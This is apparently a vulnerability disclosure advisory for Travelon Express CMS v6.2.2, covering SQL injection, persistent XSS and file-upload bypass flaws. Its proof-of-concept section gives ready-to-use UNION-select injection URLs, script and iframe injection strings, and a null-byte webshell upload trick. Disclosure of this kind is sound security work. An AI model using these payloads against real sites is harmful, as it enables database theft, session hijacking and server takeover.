Details:  
========  
1.1  
Multiple remote SQL Injection vulnerabilities are detected in Travelon Express CMS v6.2.2. The vulnerability   
allows an attacker (remote) or local low privileged user account to inject/execute own sql commands on the   
affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.   
The vulnerabilities are located on the application values, parameter & requests of hid, cid, id & fid.  
  
Vulnerable Module(s):  
[+] holiday.php?hid  
[+] pages.php?id  
[+] holiday_book.php?hid  
[+] admin/airline-edit.php?fid  
[+] admin/customer-edit.php?cid  
  
1.2  
Multiple persistent input validation vulnerabilities are detected in Travelon Express Version 6.2.2. The bugs   
allow remote attackers to implement/inject malicious script code on the application side (persistent). Successful   
exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context   
manipulation. Exploitation requires low user inter action & privileged user account.  
  
Vulnerable Module(s):  
[+] holiday_add.php - holiday name  
[+] holiday_view.php- holiday name  
  
1.3  
An arbitrary file upload vulnerability is detected in Travelon Express Version 6.2.2. The vulnerability allows an   
the privileged attacker(admin rights) to upload malicious files (webshells). The attacker can upload .php .exe .asp   
files to the web server. Successful exploitation of the vulnerability can lead to web shell or malicious program   
uploads. Exploitation requires privileged user account. An attacker can upload 2 filename extensions with %00 and   
delete the last part to execute the file code.   
  
  
Vulnerable Module(s):  
[+] airline-edit.php?fid  
[+] hotel-image-add.php  
[+] hotel-add.php  
  
  
Proof of Concept:  
=================  
1.1  
The sql injection vulnerabilities can be exploited by remote attacker without required user inter action.  
2 of the vulnerabilities are located on the control panel. To exploit both its required to have privileged  
application accounts like moderator, super mod or administrator. For demonstration or reproduce ...  
  
PoC:  
/holiday.php?hid=2[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]  
/pages.php?id=1[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]  
/holiday_book.php?hid=1[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]  
  
/admin/airline-edit.php?fid=1[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]  
/admin/customer-edit.php?cid=1[-2+union+select+1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables+where+table_schema=database()--%20-]  
  
  
1.2  
The persistent input validation vulnerabilities can be exploited by remote attackers with low required   
user inter action & privileged user account. For demonstration or reproduce ...  
  
PoC:  
admin/holiday_add.php - holiday name  
admin/holiday_view.php- holiday name  
  
holiday name => Insert the following test strings & save the input ...  
  
>“<ScriPt>ALeRt("VlAb")</scriPt>  
>"<IfRaMe sRc=hTtp://vulnerability-lab.com></IfRaMe>   
  
... now switch to the listing & output page of the holidayname were it is getting executed out of the context.  
  
  
1.3  
The file upload bypass vulnerability can be exploited by remote attackers with privileged user account.   
For demonstration or reproduce ...  
  
PoC:  
admin/airline-edit.php?fid  
admin/hotel-image-add.php  
admin/hotel-add.php

Risk:  
=====  
1.1  
The security risk of the sql injection vulnerabilities are estimated as critical.  
  
1.2  
The security risk of the persistent input validation vulnerabilities are estimated as medium.  
  
1.3  
The security risk of the arbitrary file upload vulnerability is estimated as medium(-).
